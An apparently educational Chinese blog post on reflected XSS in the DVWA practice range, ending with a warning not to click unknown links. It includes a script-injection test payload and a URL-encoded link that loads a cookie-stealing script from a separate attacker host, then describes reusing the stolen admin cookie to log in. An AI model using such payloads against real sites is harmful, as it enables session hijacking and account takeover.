在XSS注入的时候,我们会经常看到这样的代码:<script>alert(/xss/)</script>。
上一篇文章已经讲过了,这句代码并不能真正的跨站,它真正的作用是:
检测当前页面存在XSS攻击的可能性
说人话就是:能执行这句话说明实施XSS攻击的可能性较大,但不代表一定能成功;不能执行这句话,说明实施XSS攻击的可能性较小,但也不代表一定不能成功。
接下来回到我们的DVWA靶场,进入反射型XSS的页面,在输入框输入:
<script>alert(/xss/)</script>
提交之后弹框弹出,XSS代码执行成功:
请注意地址栏的URL:http://192.168.174.136/dvwa/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>
从URL看出刚才的XSS代码被参数name接收了,并且在访问上面这个链接时,XSS被执行了。一旦我们在输入框重新填入内容,刚才的XSS就会被替代,因此,我们得把这个带有XSS代码的URL发送给目标用户,目标用户点击之后,才能实现攻击。
这里的XSS是非持久化的(没有被存储在服务器中),并且需要用户点击才能实现攻击,这就是反射型XSS。
反射型XSS需要攻击目标自己点击链接才能实现攻击,但是现实中不会这么直白的将XSS直接发给你。
通常的做法是将带有XSS的链接,经过包装后发出去,可能是一个短链接:
也可能是一封看上去很正经的邮件:
又或者是你想点击放大观看的你女神的照片:
看上去花样繁多,防不胜防,然鹅,这样的攻击方式有一个致命缺陷:
只要你不点,它就没办法
接下来演示一下真正的跨站攻击过程,如果有小伙伴已经跃跃欲试,请先按住躁动的心,复习一下网络安全法
学习和做实验请记得使用靶场,不要触犯红线。
我们用最常见的cookie劫持作为例子,先用dvwa靶场的非admin用户smithy进行登录:
登录后会在页面左下角显示用户名:
假设Smith同学发现了一个反射型XSS,然后又发现cookie记录了用户登录凭证,且没有设置HttpOnly为true:
然后Smith同学做了一些事情
1. 将劫持cookie的脚本放在了这个站点:http://192.168.174.133/xss/template/default.js
2. 将反射型XSS的地址发给了管理员:http://192.168.174.136/dvwa/vulnerabilities/xss_r/?name=%3Cscript+src%3Dhttp%3A%2F%2F192.168.174.133%2Fxss%2Ftemplate%2Fdefault.js%3E%3C%2Fscript%3E#
3. 管理员也登录了该网站,收到了Smith发来的链接,管理员木有控制住记几,点了一下
4. Smith同学接收到了脚本返回的数据,拿到了管理员的cookie
5. Smith同学将自己的cookie改成了刚刚拿到的管理员的cookie
6.Smith同学就可以以管理员的身份登录网站了:
小伙伴们可能会问:Smith同学怎么知道谁是管理员的呢?现实中确实没有这么容易,我只是举个小小的例子
最后,希望大家都控制好记几,不要随便点击任何来历不明的链接~
(部分图片源自网络,侵删)
原文始发于微信公众号(陆吾安全攻防实验室):反射型XSS - 你要控技你记几
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论